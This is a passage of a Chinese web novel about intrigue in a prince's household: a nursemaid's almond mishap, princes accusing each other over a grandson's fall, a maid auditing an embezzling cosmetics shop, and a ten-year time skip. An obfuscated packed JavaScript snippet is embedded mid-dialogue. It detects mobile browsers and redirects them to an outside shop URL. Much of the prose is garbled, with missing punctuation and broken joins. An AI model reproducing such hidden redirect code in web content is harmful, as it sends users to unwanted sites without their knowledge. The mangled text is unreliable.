奶妈妈没有料到之前都好好的今日忽然就出事了正懵着她旁边的小丫头便想起来了甚麽说道:“竹清姐姐她今日偷偷吃了一颗杏仁。” 偷吃可不行甭管是甚麽奶妈妈的饮食都是规定了的都是清淡好下奶的食物。她们两个连肉食都不能多吃会影响奶水的浓稠。 奶妈妈浑身都冷了她没想到只是贪嘴一次一枚杏仁就造此祸灾。哪儿就那麽巧合了琮哥儿偏偏吃不得杏仁? 竹清看向瘫软在地的奶妈妈要说今日的事也怪奶妈妈倒霉琮哥儿若是不对杏仁过敏 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竹清一一把雍王妃与敏姐儿扶下来又从身后的婆子手上提了礼品这才跟着进了宣王府 宣王妃整个人憔悴不堪头发略微散乱双眼无神眼睛下方还有很明显的乌青色应当是一晚上没有睡。 几个太医正在为承哥儿施针一个个神色凝重显然承哥儿情况不太妙。 祁王妃也在这儿雍王妃便问她承哥儿如何了。 “太医说承哥儿正正好摔到了后脑勺里头有瘀血若能施针逼出来那还有希望若不能只怕这几日便要加急准备棺椁了。”祁王妃摇摇头低声与雍王妃说。 雍王妃默然,站在一边不言语。 承哥儿打小立住了,健健康康的到现在九岁,若这会儿去了,只怕教宣王妃肝肠寸断了。 “我带来了百年老参,瞧瞧能不能用得上,聚气有奇效的。”雍王妃与宣王说,宣王没有去上早朝,也是这里唯一能做主的人了。 宣王点点头,吩咐人去做,又与雍王妃说道:“多谢雍王妃了,待承哥儿好了,我亲自带了他上门谢你。” 其中一个年长的太医起身,道:“启禀王爷王妃,一部分瘀血已经逼出来了,还有一部分,则要用药之后才能再斟酌下手。” 这已经是几位太医努力了一个晚上的效果,他们很累,只是不敢有甚麽不满,甚至还要祈祷承哥儿没事。 “那太医们赶紧开药,许愿甚麽,尽管与本王说,本王自会去开了库房。”宣王说。 雍王妃与祁王妃不可能一直呆在这儿,略略坐坐就离了宣王府,她们一道出门,祁王妃叹息,“只盼望着承哥儿能快快好起来。” 本来圣上就只有三个儿子,三个儿子又不是甚子嗣繁多的人,再这样下去,只怕是皇嗣凋零。 雍王妃想到了自个的琮哥儿,心有戚戚地说道:“是了,这样有礼知趣的人儿,合该常伴父母亲人身边。” 只是这事过去还没有两天,忽的,宣王进宫与圣上说,承哥儿摔下马的事是雍王干的,圣上着太监宣了雍王进勤政殿,徒留雍王妃微微呆滞。 “雍王……有这个脑子害人麽?”雍王妃迟疑不定,她想到雍王的愚蠢,他要害人,也不能害承哥儿罢? 竹清与雍王妃同样的表情,皆是疑惑,不过她想了想,提醒雍王妃,“王妃,咱们有琮哥儿呢,说不得宣王就是咬着这个来诬陷咱们王爷,又或者是,这本来就是一个离间计。” “是了,他可能觉得,我们有琮哥儿,就能与他们争,承哥儿没了,他们就剩下一个比较小的嫡子,两个孩子差不离,不至于教他们宣王府占了先机去。”雍王妃揣测,要知道宣王府两个嫡子年纪差的有点多,小的那个才三岁多。 勤政殿中,宣王也的的确确是这般说的,他指着雍王,道:“你是不是算计好的?我的承哥儿样样出色,你看不惯,就使了这些下作手段,为的就是把他害了,教 你们的琮哥儿出头。” 说罢,宣王又看向高坐的皇帝,一脸悲呛地说道:“父皇,儿臣断然不敢欺骗您,那教承哥儿马术的师傅已然招了,他受了雍王的指使,在承哥儿练习的时候下手,千真万确抵赖不得的。父皇,儿臣那可怜的承哥儿现在还昏迷不醒,儿臣为父的心揪成一团,父皇,您一定要为儿臣、为承哥儿做主啊!” 皇帝轻飘飘暼了雍王一眼,又问宣王,“你说马术师傅招了?他人呢?” “昨夜他自觉愧疚,自裁了。”宣王说。 “哦?自裁了?也就是说,你现在说的,全都是你的一面之词,没有人证物证,唯一的人证还那麽巧合的在你来勤政殿之前死了。宣王,你让朕如何做主?”皇帝居高临下地看着宣王,他言语中的冷然让宣王心里一突,直觉要不好,他立马跪下,说道:“父皇,儿臣说的都是真的,儿臣不敢欺瞒父皇。” 皇帝沉默不语,手里握着两个核桃,一下又一下地磨着,整个勤政殿陷入了诡异的安静中。 雍王也不敢说话,他暗自想皇帝这会儿究竟在想甚麽,到底是帮他还是帮宣王。 “雍王。”皇帝轻声唤,待雍王低头应了,他才慢慢悠悠地问道:“你如何看这件事?” 这是给雍王辩驳的机会,若是雍王讲的不出色,只怕不是他做的,也会教皇帝觉得他无能。 “启禀父皇,儿臣觉得宣王说的不对。若儿臣果真有此不轨之心,何必等到今时今日才动手?早在承哥儿一两岁的时候下手不是更加轻易?且,偏偏承哥儿出事后,他的马术师傅不消几天就死了,哪有恁巧的事?”雍王也不是太蠢,立马反过来指着宣王鼻子,骂道:“儿臣还觉得是宣王故意设下这样的陷阱来诬陷儿臣呢?承哥儿出事儿,他就势必把雍王府也一同拖下水。儿臣还请父皇明鉴。” 作者有话要说 第 54 章 过目不忘 雍王与宣王讲的皆有道理,皇帝却忽然意味不明地笑了笑,教雍王与宣王立即安静下来,他起身,摆摆手挥退想要扶着他的大太监,慢慢踱步到两个儿子的跟着,淡声说道:“你们看看你们现在这个样子,哪儿像个王爷了?跟市集的那些脚夫一般。 “吵起来好啊,打起来更好,正正好合了幕后黑手的心意。皇帝哼笑,道:“还看不清楚麽? 宣王忽的抬头,“父皇的意思是,有人故意害了承哥儿,想让儿臣与雍王离心? “还不算蠢过头。皇帝点评,雍王见宣王挨了批评,不敢喘气,结果皇帝又看向他,明晃晃的嫌弃,“雍王,你低着个头做甚?哑巴了? “儿臣不敢。雍王说。 “你们且回去,此事朕会让人追查的。宣王,记住了,不可没有真凭实据就巴巴儿地指控自个的亲兄弟。雍王,对待兄弟要有包容心,不要因着一句两句话埋怨手足。皇帝说道,待雍王与宣王皆应了,他说道:“行了,下去罢。 雍王与宣王同时出门,眼里皆是充满了猜忌与不信任,今日的事,总归是把他们的不合都摆到了明面上。哪怕皇帝说了有人离间他们,他们也不会握手言和,只会更加记恨对方。 勤政殿内,大太监替皇帝换了茶,“陛下喝口茶,歇一歇罢。 “你说朕的这两个儿子,如何托付?皇帝叹气,至于祁王,一个只喜爱郎君的,他从来没有动过国本之念。 “宣王也是爱子心切,这才莽撞了点。雍王讲的也不错,也不是不会辩解的。大太监安慰皇帝,皇帝听罢,只让人去彻查这件事。 朝堂表面上风平浪静,实则暗流涌动,有的听闻了承哥儿的事,暗自思量。 经过了宣王攀咬他们王府的事,雍王妃如今可不会教人送贵重东西去宣王府了,送去的全都是一些只能看不能用的架子货,用来顾全面子罢了。 至于真心?雍王妃气愤,她喂狗都不会与宣王府的任何一个人! “王妃别气,气坏身子可不好。竹清安慰道,她抱着琮哥儿到雍王妃跟前,说道:“王妃瞧一瞧琮哥儿。 雍王妃接过来了,软了表情,一下一下地哄着琮哥儿入睡。 “王妃,今日夫人送了信来,说是她已 经回到安州了教您不必担忧。” 姜大夫人在盛京城住了两个多月后就启程回了安州虽然中馈她暂时托付给了儿媳妇们但是也不是真正放下心的。 * 又过了两日承哥儿挺过来了只是听闻伤了脑袋要修养许久没个一年半载的下地儿都难。 “没得多管他们。”雍王妃翻白眼儿不再理这件事转而与竹清核对年礼的事。 “那沈二对惠姐儿倒是有几分真心。”一边核对雍王妃一边与竹清闲聊。 沈二来了盛京城住在沈夫人的陪嫁院子里与姜家挺远的但人家还是三天两头的上门不仅拿了功课卷子请教姜二郎君还买了好些礼物送与姜二夫人。至于与惠姐儿那就更加关心了时常接她出去顽。 “姜九娘子人好自然也能遇上一个好的哥儿只待明年九娘子进了门下半辈子也能顺遂了。”画屏说。 “也是。”雍王妃点头应是像她们这样的贵姐儿嫁给谁都是不能做主儿的能得一个贴心合乎心意的郎君跟天上掉馅饼一样难。 * 很快就翻过了年今年便不同了是由竹清与画屏随了雍王妃进宫参与除夕宴只是家宴席上并不平静雍王与宣王差不离撕破脸 待家宴结束后便各自回了。 雍王妃已经出了月子于是又恢复了从前那种一天三回查账的作息暖春翻账本翻个不停这时她停下来对雍王妃说道:“王妃这里不大对永州康文县脂粉铺子递上来的账簿有错落入账已经连续三个年头都没有变化。” “哦?我瞧瞧。”雍王妃拿过今年的账簿竹清与暖春一左一右拿着去年前年的账簿供她看仔仔细细看过两回她才点点头说道:“是不太对劲康文县过于遥远有些消息未必能传到咱们的耳朵里头算一算这两年事情多我也就不大管一个外地铺子的账簿想来倒是让他们有了可乘之机。” “我们远在京城也不知道那个铺子到底是甚麽情况这样我派人去瞧瞧。”雍王妃思索一阵儿说道:“竹清你自从当上副管家一应事物处理妥当我对你是很放心的。王府里的事情就由宋管 事与周管事去处理你帮我去永州康文县走一趟去查一查那里的账簿有没有问题。” 管家麽也得会查铺子看账簿教竹清走一趟也是历练历练她。 “若是有尽管来信与我事情比较急来不及写信的时候你就直接做主料理了他们。”雍王妃说她见惯了那种阳奉阴违的管事料来这个脂粉铺子的管事们也是不干净的。 “是。”竹清极快地应了又听雍王妃交代道:“对了这回去你自个挑一些人跟着不拘男女可要帮得上你。” 竹清点点头待雍王妃说罢立马就下去了她去寻人点的是曾妈妈、明心、文思这几个相熟的以及三四个她看好的。 除了去康文县的脂粉铺子看一看这一趟她们另外还要拐去其余两个县探看故而竹清带的人有些多。 翌日下午她们就坐上马车去渡口乘船若是顺利的话不消六七日她们就能到达永州康文县了。 “这儿的小娘子怎的皆以面纱遮脸?”文思纳闷。她们这会儿途经大阳县文思撩开轿帘子的一角往热闹的街上探望他看向曾妈妈“妈妈你听说过麽?” 曾妈妈虽然老道 “大阳县地处高山村民们世世代代避世不出到这会儿他们虽然渐渐愿意出来走动但是陈旧观念觉得小娘子不应当抛头露脸若是在大阳县生长的小娘子们敢不戴面纱出门下一刻就会被吐沫星子淹死。” 头一回听见大阳县如此落后的时候竹清还惊了一下原以为对女性的压迫就已经够严重的了大阳县更加简直是不把女子当一个人。 这跟一件物品有甚麽区别? “还有这种地儿?怎的我们从前都没有听说过?”曾妈妈不是跟着王妃嫁进王府的她自小就是在盛京城长大辗转多次才进了雍王府。自认也算是见多识广的了但也没有见过大阳县这样不把小娘子当回事的地界。 “好的地方当然名扬天下不好的地方自然是藏着掖着难不成还教那些外族人看了笑话去麽?”竹清说。大臣们都恭维圣上万民归心大阳县百姓经过多次教化依旧死性不改谁敢大肆宣扬? 哦不,大阳县这种状况已经是改过的了,还没有开化之前,对小娘子的迫害更是让人发指。 竹清有些担忧,她们不必在大阳县停留,但是得在大阳县的隔壁县呆个两三天,不知道会不会受大阳县的影响? “怎的不走了?”忽的,感受到马车停下,曾妈妈问了一句。 轿夫是大阳县的人,闻言说道:“方才下过雨,前方倒了几棵大木,预备着要一个时辰才能通行。” “那我们上轿子之前,你怎么不说?”曾妈妈突然提高了音量,声音里头满是怒气,难不成白白拖她们一个时辰麽? 她们租了两个大轿子,要不少银钱的,倘若现在下轿子,等下再租,那又是另外的价格。 “哎呦这位妈妈,您是从大地方来的,难不成还与我们计较麽?我们又不能未卜先知知道这儿的情况,您可怪不到我们身上。”轿夫虽然这样说,但是语气却并没有几分尊重,甚至因着做主的是竹清,他们还看不起呢。 竹清抬抬下巴,曾妈妈便会意,撩开了前头的轿帘子,竹清看着打头的轿夫,轻声问道:“那我们这一回不下轿子,应当还是可以带我们去附近的地方罢?” “自然,小娘子想去客栈还是脚店?”轿夫心里一喜,他以为面前这一行人跟以往的外客一样,仍由他们搓圆按扁呢! “你不必替我们做决定,去府衙,我们找县大人,去罢。”竹清似笑非笑地说,不等轿夫说话,她又接着说道:“你们不是想要耗费时间麽?去府衙里,痛痛快快地教人打上几板子,修养个十天半个月的,就正如你们的意了。我为你们想的耗费时间的法子如何?可好不好?” 她虽然是笑着的,但是气势汹汹,压了几个健壮的轿夫一头,他们惊疑不定,不知道她是不是真的认识县大人。半响,他们又眼睁睁地看着她从袖口中拿出一把精致小巧的匕首把玩,继续低声说道:“不过不去府衙也可以,便等上一个时辰,你们带我们出城,正巧月黑风高夜,杀人放火时——” 最后一句她压得特别低,只有他们几个听见了,教这些五大三粗的人无端端惊出一身冷汗。 竹清开了个头,明心也拿出了一把双刃匕首,她们身后的轿子里,两个粗仆出来,抽出背后用布包裹着的东西——一柄剑 、一把刀。 “如何,想与哥俩对一对麽? 这样一番威慑,教轿夫们彻彻底底安分了。 “我,我忽的想起来,还有另外一条大道能行走的,也能到隔壁县。 这次他们的脚程极快,不消小半日,就到了隔壁县。 待他们一溜烟地走了,曾妈妈这才与竹清说道:“他们一个个的,居然恁怕您。 “他们是求财,自然怕心狠手辣的。竹清说,人性麽,就是如此。 那两个护卫挠挠头,说道:“还真教竹清姑娘预见了,这一路上会不平静。 他们在盛京城时,就受了竹清吩咐,说是要带上刀剑,那时他们还不以为意,觉得竹清大惊小怪了,没成想这些人果真胆大。 “出门在外,留个心眼儿总是好的。所幸他们只是求财,不过正因如此,以往被他们威胁的人也就大事化了了,倒让他们愈发嚣张起来。竹清说,性命金贵,如何多心都不为过。倘若这一次这些轿夫要害命,他们没有武器,岂不是像砧板上的肉? 她们一行人在隔壁县逗留了两天,先是把雍王妃的吩咐做好,然后就是重新核算账簿,敲打敲打管事的,再去另外一个同样偏僻的县城重复她们的路数,待俱都办妥了,如此才重新出发去康文县。 与这两个落后偏僻的县城不同,康文县是一等一的富庶,皆因这里有两条大河,运输发达,这儿船上的名妓艳冠天下。 之前竹清陪着姜九娘子去的宜州同样多水,只不过那里文风盛行,永州康文县则是以女子闻名。 相传是古时有一男子与妓女相恋,二人约定私奔,哪儿知逃跑前夕,妓女才知那不过是一个赌约,心死如灰之下,她在高台之上弹奏出余音绕梁的名曲。这下,众多嫖客对名妓吹之若骛,一个个的皆到康文县,一来二去的,这里就富裕起来了。 故事不可拷,但是后续的发展还是有目共睹的,康文县就此出名起来,路边来往的,皆是暗娼或是不卖身的清倌。 “这儿小娘子真多。曾妈妈稀罕,与大阳县恰恰相反,这里小娘子多且个个鲜亮,穿戴俱都多样,几乎不重样的,看得她眼花缭乱。 大阳县的小娘子们,头上只戴素静的木 簪子衣裳都是素色的瞧着像个木偶。 “甭看了去寻个客栈咱们且痛痛快快地睡上一回。”竹清说舟车劳顿少不得休息过才好继续接下来的差事。 “欸。”这般她们就在康文县住下了。 翌日她们等不得逛一逛这康文县就想着去红妆脂粉铺子瞧一瞧竹清却教她们不要着急。 曾妈妈问她“您可是有主意了?” 竹清颔首低声说了几个字转而带她们去了别的地方。 康文县里红妆脂粉铺子里头三三俩俩地坐着几个跑腿的伙计他们手上俱都拿着干涩难啃的饼子一个个唉声叹气。 “掌柜的怎的恁吝啬明明铺子日进斗金他却给咱们吃这些。”一个伙计气急把饼子往地上一扔那饼子邦邦硬在地上弹了两下“咣当”一声撞在了桌角旁边。 “瞧瞧比我修木柜用的木锤子还要硬 正说着呢就看见有女客进来他们无甚招待的心思一堆人你看我我看你好不容易才推了一个人出来接待。 只是一听女客说的话伙计就愣了说道:“大娘子这样大量的采购不是我能做主儿的您且等等我去找掌柜的。” 那大娘子似是无意间问了一句“这都甚麽时候了?掌柜的不在?若他有事那我下回再来了。” “不是的。”活计摇摇头却并不过多解释他转身去了后头其他人就带着这个大娘子到二楼雅间坐下又端茶倒水伺候她。 大娘子暗地里打量他们待楼梯有声响她看去正巧看见一个浑身富态的男子揉着眼睛上来似乎是刚刚睡过。 “让贵客久等了您说您是打宜州来?”掌柜的问道他眼睛圆小自带一股精明待上上下下打量过这个大娘子后他就笑着说道:“宜州本来就有许多的脂粉铺子您何必到我们这儿进货呢?” 大娘子早已有了措辞回答道:“我家主母嫁去了宜州想在宜州开店铺只是没有名声到哪儿都不好作的。恰好宜州多花娘与这儿的名妓们皆都爱美便想着借一借永州脂粉的名气在宜州打出一条生意路来。” “哟你们主母倒是会做生意。”掌< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081389|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柜的夸了一句又多问了一道“那您怎的不去华妆铺子里买?他们那儿可是永州第一大的脂粉铺子。”他觉得不大对劲怎的恁巧就有人来买脂粉? “我瞧你们不是诚心做生意的与那华妆的人一模一样也罢我且换个铺子问不与你们说。”大娘子恼怒了那掌柜的一听只当她是先前在华妆那里遭人看扁心里疑惑顿时去了不少。 “这位大娘子怪我多嘴只是我也是替主家做事儿的自然得多注意。”掌柜的道了歉又亲自替大娘子倒茶两人这才谈起生意来。 好一阵儿那大娘子约好了下次再来便带着两个小丫头离了这儿一路往茶楼走去。 “竹清姑娘。”那大娘子进了门先唤了一声竹清自斟自饮头也不抬替她倒茶“曾妈妈辛苦了喝口茶。” “欸。”曾妈妈喝了这才问竹清“咱们这样做真的有用麽?” “有的。”竹清说在京城的时候雍王妃就大致确定红妆脂粉铺子的管事们贪污了而且数量不少她这次来就是想着抓到证据。 “我们先慢慢卸下他们的防备心再之后就是分几次大量地买脂粉他们不会不心动的这几笔银子肯定会贪。不过除了这个以外我觉得脂粉的材料可能会被替换换成更加便宜的我教你买的脂粉呢?”竹清问道曾妈妈拿出一个精致的雕花小圆盒竹清接过来打开仔细嗅了嗅。 “……不一样虽然香气与他们送去京城的脂粉大差不差但是材料不一样少了几样。”竹清说红妆脂粉铺子每年都会送一批脂粉去雍王府她也曾经闻过的与这个有差别。 红妆脂粉铺子的脂粉都是采购材料回来自个做的其中可以捞的油水别提多少了。 “这起子人果真有了别的心思打量着王妃管不到这里便野了心了竟然敢作这样的事。”曾妈妈一脸愤愤不平“有句话怎麽说的来着?财帛动、动人心。” 她文邹邹说了一句卖弄文采过后 “等他们找他们会查咱们也会暗中观察你这个我已经处理好了你不用担心露馅。你不是留了客栈的位置麽?他们会来的。”竹清望向外边她带来的人差不离都被她派出去了只 待一次便能把这些贪污的管事们一网打尽。 事情皆按照竹清预料的那般走,待过了五六日,红妆脂粉铺子的管事们就约见了曾妈妈,他们答应了供应脂粉,曾妈妈也交了定金。 一时间,这就像真正的生意,教管事们好不得意。 天刚擦黑,三个管事便约着一起去青楼里喝上一回,推杯换盏间,有一个迷迷糊糊地说道:“今年咱们要富裕了,多了恁多的订单。” 过了一个月,眼看事情差不多了,竹清便去了红妆脂粉铺子,她拿出腰牌,对掌柜的说道:“我是奉王妃的命来查账的,这三年的账簿,购买胭脂材料的、耗费的、卖出去的一一找出来。” 掌柜的也是管事之一,一听顿时冷汗直冒,不消一会儿,整个人衣衫尽湿透了。他看向竹清,肥胖的脸上挤出一抹笑来,说道:“那竹清姑娘且在这里等着,我这就去拿。” “跟着他去。”竹清对两个护卫说。 待那些账簿拿过来后,其他两个管事也着急忙慌地来了,他们不敢对竹清不敬,只能相互交换着眼色。 竹清慢慢地一页一页看,她纤细的手拨动着算盘珠子,“啪嗒啪嗒”的声音一下一下敲打在管事们的心上。 “我问你们,上个月就只有三单几十两的单子麽?”竹清问,这些人果真大胆,她让曾妈妈与其他人下单的脂粉,居然在账簿上找不到。 那可是上千两的单子! “是,姑娘有所不知,上个月因着没有名妓的比试,故而客人少了,所以单子就少了,皆是一些散客。”掌柜的擦着汗回答。 “是极是极,姑娘可能不太了解脂粉的买卖,那都是很平常的,不会突然出现一大单子,您也知道,小娘子们买脂粉,哪儿能一下子买多的?少不得分几次买,也得比较过后才好。” “真的一个大单子都没有?几百两的呢?”竹清问,“两三年前还有的呢,一个月怎麽着也得有一两个客人买上三四百两的脂粉,怎的近年少了,甚至是没有了?” “竹清姑娘有所不知。自从三年前华妆铺子开起来后,咱们的生意一落千丈,许多客人冲着他们的新鲜花样去,长久下来,客人所剩无几,有时一年到头,都不见都贵客登门。”掌柜的说得有条理,完了还与竹清诉苦,“竹清姑娘 您可得帮咱们与王妃说说情呀咱们辛苦了恁久不求功劳也有苦劳还望姑娘在王妃身边美言几句。” “王妃记得你们。”竹清意味深长地说待管事们欢喜起来她又低头。 “王妃能记得我们真是小的三生有幸……” “曾妈妈你怎么看?”竹清不想再看他们装傻充愣她朝外头叫了一声曾妈妈走进来一看见她们两个认识这些管事的还有甚麽不清楚的? “你、你们认识?”掌柜的腿软了。 “真是可笑我问你们曾妈妈定的那些脂粉呢?怎的没有记录。还有她们的——”竹清左手提着毛笔右手拨着算盘头也不抬。只是在她说罢明心以及其他两个人就进来她们按照竹清的吩咐也在这里下过单子。 “解释的话不必与我说且等着上京城亲自与王妃说去罢。”竹清一边查账一边说她拿出一个自带的账簿说道:“这是供应脂粉材料的商家提供的账簿 “买材料贪卖脂粉也贪。”竹清抬起眼皮子扫了他们一眼嗤笑道:“慌甚麽这样不经试探就露馅的居然还学旁人贪污。” 这些管事的心态比起大贪官们要差得多了根本经不起试探推敲这样就慌脚鸡一样了。 贪污主家的银钱是重罪轻则打板子重则被卖去下等地方下半生凄凄惨惨。慌乱以及恐惧的情绪控制了三个管事横竖都是一死他们不想就这般认罪! 其中一个人朝其他人使眼色他们会意便瞬间拦住两个护卫那个主事的管事扑上来一手抓住账簿一扯上个月的记录便被他扯下来撕碎吞进肚子里。 如此就是死无对证。 他不信竹清能搞到供应货商的账簿说不得是蒙他们的既如此何必不搏一搏? “呵。”竹清意味不明地看了被曾妈妈按住的管事他神色癫狂嘴里嚼动着脖子伸得老长估摸着是噎住了。 “你没有上个月的对账如何能定咱们的罪?至于以前的你也得仔仔细细查出来才行需得有证据才能报官。”掌柜的被护卫擒拿住饶是这样他依旧嘴硬。 “有本事你掀开货商给你的账簿我就不信里头有记录。” 第 55 章 很聪明的琮哥儿 春去秋来,白驹过隙,翻过了十年,竹清已然二十四岁了。 琮哥儿也十岁了,上了书房,在一众皇孙中都是有名儿的,无他,他太聪明了。 一岁不到会走,接着便会说话,三岁已经能背四书五经,七岁饱读诗书,如今十岁,出口成章,骑射俱佳。 雍王甚是重视琮哥儿,亲自带了他读书,连皇帝也常过问琮哥儿的功课,有时琮哥儿在宫中下学了,便会被大太监接走,到勤政殿接受皇帝的考问,宫门预备着下钥了才放琮哥儿离开。 任谁都看得出来,琮哥儿是独一份儿的。 因着这个,雍王多受了两份重视,连带着雍王妃,在夫人里头也隐隐有些不同了。 竹清送了敏姐儿与琮哥儿到宫门处,琮哥儿下了马车,对竹清说道:“竹清姐姐,我走了,下学了我想吃东街李三福的烤鸭,你替我买一只罢,来的时候顺便带来,我吃了再回王府。” “欸,哥儿去罢,我定会给你买。”竹清说,敏姐儿便牵着琮哥儿,待望着从小看着长大的姐儿哥儿消失在拐角处,她这才在木生的掺扶下上了马车。 “回罢。”竹清吩咐。 “是,竹清姐姐。” 十年能改变许多事情,譬如与竹清一样是副管家的那位管事也老了,去年退下去,换了一个与竹清相识的管事上来。又譬如宋管事,她是雍王的奶妈妈,操劳恁多年,今年年初倒春寒一来,她就病了,风寒来势汹汹。到现在初夏了,她还没有好,反倒是病得愈发严重,已经卧床不起了。 雍王感念她的照顾,在王府里许了一个院子与她住着,又寻了退休的太医与她看病,雍王妃使了好些药材,这才教她活着。 暖春与绘夏早在八年前一前一后嫁出去了,绘夏早有未婚夫,这倒是不奇怪,倒是暖春,到底没有抵住娘家那边的压力,她那母亲不是个好的,用孝道压她,教她把银钱全部给她,然后让她的哥哥弟弟盖房子。暖春硬气,不愿意被她母亲压迫,寻了个老实巴交的嫁了。 她成了别家的人,她的母亲自然不能再窥视着她的钱袋子。 大丫鬟中,唯有一个画屏与竹清共事了几年,又因着竹清副管家的身份,她在竹清面前也得矮半个身子。 不过三年前,画屏也嫁了。 竹清回去并处理好各式事宜的时候雍王已经下朝回到正院了。她端来了小食服侍雍王妃用听着雍王边吃边说道:“今日上朝有个言官参了祁王一本说他不顾规矩礼仪在湖边公然与威德大将军不检点啧啧啧你是不知道当时满朝哗然父皇的脸一下子就黑了。” 雍王想到当时那个场景就头皮发麻若他是祁王还不如当场抹了脖子也好过教恁多大臣指指点点且不知旁人如何传祁王的事呢。 丢脸。 “然后呢?祁王认了没有?”雍王妃问。 “没有。他没有说话但是也没有否认。我原以为他会否认毕竟这样的事他要是不认父皇再施压一下也就过去了。哪曾想他跟个没事人一样站在那儿魂游天外由着文武百官参他。”雍王其实并不是头一回听说祁王的这些事隐隐约约会有风言风语传入他的耳朵里。不过麽男女通吃的也不是没有他以为祁王也是如此。 但是今日一看再细想祁王一个孩子都没有雍王就发觉这事好似不是他想的那般。 “他没有认威德大将军倒是认了顿时早朝就跟集市一般吵吵嚷嚷的威德大将军的亲朋手足都低头了祁王妃的母家她的父兄气到浑身发抖 “父皇可有气到身子?”雍王妃问她又想到了祁王妃自从三年前她似乎就变了变得淡泊平静出来走动的时候常常与人顽笑但是与祁王便是忽视他。 这般也好左不过她已经嫁了还是王妃断然和离不了。持着大娘子的身份她只管过着自个的小日子比甚麽都强。 “对了今日祁王妃过来探我的口风我看她的意思是想要过继咱们府上的庶子。”雍王妃说她只生了一个哥儿祁王妃过继也不会开口要琮哥儿的。 后院陆陆续续有人生下了哥儿姐儿。 康侍妾生的岚姐儿崔侍妾生的铮哥儿贺侧妃生的蓉姐儿与宁哥儿柳侧妃生的铭哥儿苗侍妾生的沛哥儿。 再加上李侍妾生的庶长子全哥儿。细数下来除了她的琮哥儿能与人过继的哥儿有五个不少了。 “过继?”雍王挑眉她有没有明 确说是哪个哥儿? “这个倒没有想来也是不大清楚咱们府上各个哥儿的脾性不过左右哥儿们还小她也是想趁着小带在身边养大了好亲近她。”雍王妃猜测她想了想两位侧妃肯定不愿意过继这便没有了指望谁知道再生是不是哥儿呢? 至于三位侍妾倒不一定了。 三位侍妾身份都不大拿得出手特别是李侍妾她会不会贪图富贵让全哥儿过继出去当嫡子其实也难说。 “再等等罢我先问问祁王看看他能与我甚麽好处若诚意足自然可以商量。不过你也可以先瞧着打量哪个哥儿还算精怪伶俐的。”雍王说过继麽定是要的。 祁王现在这个情况过了年与圣上开口圣上照样会下旨让他们过继一个孩子给祁王府。既然这样倒不如他私下问祁王多多少少要些好处。 一个哥儿他还不算看重。 * 事情还没成之前雍王妃也不会漏了口风只在侍妾们带着孩子来请安的时候多分几分注意力在他们身上。 柳侧妃有些张扬但是并不嚣张她生的铭哥儿与她一般俱都是活泼好动的。 贺侧妃的宁哥儿最是安静只依偎在贺侧妃身边静静地看着弟弟妹妹们。 孩子像母亲如同琮哥儿与雍王妃。 至于剩下三个侍妾生的孩子们 “王妃昨个全哥儿背了一首长赋背得可顺溜了全哥儿快背与王妃听。”李侍妾迫不及待地开口全哥儿便在雍王妃的注视下走到正中间虽然小有磕绊但还是完完整整地背下来了那首诗。 “不错想必是用心去学去背的十岁小孩子能背成这样已经很不错了。”雍王妃不咸不淡地夸了一句对比只比全哥儿小不到两个月的琮哥儿全哥儿还有些不够看的。 李侍妾拉着脸红的全哥儿说道:“妾身也是想着全哥儿渐渐大了若是寻好的师傅来教导想必学得比现在要好。” 这才是李侍妾的目的她身份比不得两位侧妃不敢让全哥儿与她们两位的哥儿比但是自觉在侍妾中稳压一头便想着全哥儿跟着有本事的师傅好给她争脸。 “这不难回头本王妃 与王爷商议一下,寻个好的老师教全哥儿。雍王妃说,至于像琮哥儿那样上太学?那是不可能的。 李侍妾欢喜地应了,说道:“妾身替全哥儿谢过王妃,此事劳王妃操劳,王妃寻的师傅定然都是好的,妾身与全哥儿只等着师傅进府,日后全哥儿有出息了,肯定会孝敬王妃的。 她进王府十来年,身上没有了当初那种毛毛躁躁的感觉,又因养着王府的长子,她还有了几分沉稳娴静。 只她们请安还没有结束,竹清就来报,“启禀王妃,宫中来了太监,说是今日陛下去勤学殿看诸位皇孙的时候,挨个考教了小皇孙。咱们殿下表现出色,得了陛下的赏赐,这会儿刚刚送来,王妃快去接了罢。 雍王妃惊讶,起身,边走边说道:“散了罢。 圣上对于琮哥儿向来是大方的,譬如这一次的赏赐,居然还有皇庄与院落,可见圣上对琮哥儿的喜爱。 后院的女子们一个个出了正院,她们三三俩俩凑堆,别的不说,就连柳侧妃也是羡慕,琮哥儿的聪慧那可是打小的,得圣上宠爱教雍王长脸,人生顺遂得不行。 她们欢喜,就有人愁。 宣王府,宣王妃一听见琮哥儿又得了赏赐,心里火急火燎的,她这三年里再生了一个,却不料是个姐儿,原本不算失望的,谁知琮哥儿越长越出众,到底教她坐卧不安。 “王爷,咱们得再生一个哥儿。 而她生的两个哥儿,原本还能称一句不错,现在直接沦为绿叶了。 宣王妃自个都知道孩子天分不足,与琮哥儿一起读书的哥儿们就更加了。 勤学殿有好些哥儿姐儿,俱都是各家各府的嫡子嫡女,有些身份高贵,不输承哥儿琮哥儿的,但是论起天赋,没有一个能与琮哥儿比肩。 得了圣上的赏赐后,琮哥儿目送圣上离开,他身边的两个伴读陪着他坐下。 两个伴读都比琮哥儿大,一个是他大舅舅的嫡次子,叫昆哥儿,也就是他表哥。一个是四品官的嫡长子,叫清哥儿。 “琮哥儿,你太厉害了,我连圣上的问题都听不懂,你居然能回答出来。昆哥儿神色激动,他比琮哥儿 年长几岁,自然清楚琮哥儿好了,他才能好。 “不难的,我下课与你细说。”琮哥儿是个大方的性子,不会藏着掖着,伴读有甚不懂的,他也会教。 “好。” “哥哥,你看他们得意的哀样。”承哥儿旁边,他的弟弟佑哥儿一脸愤愤不平。 原本,这样的夸赞是该他的哥哥夺得的,如今却教他人得去了,岂不教他生气? “佑哥儿,别这样说。”承哥儿打断了佑哥儿,他心下叹息,方才皇祖父连续的三个策论,他其实只能听得懂大概,他想的答案错漏百出,与琮哥儿给出的答案差距大了去了。 不能比。 琮哥儿更像是天授而知。 生下来,他就会。 * 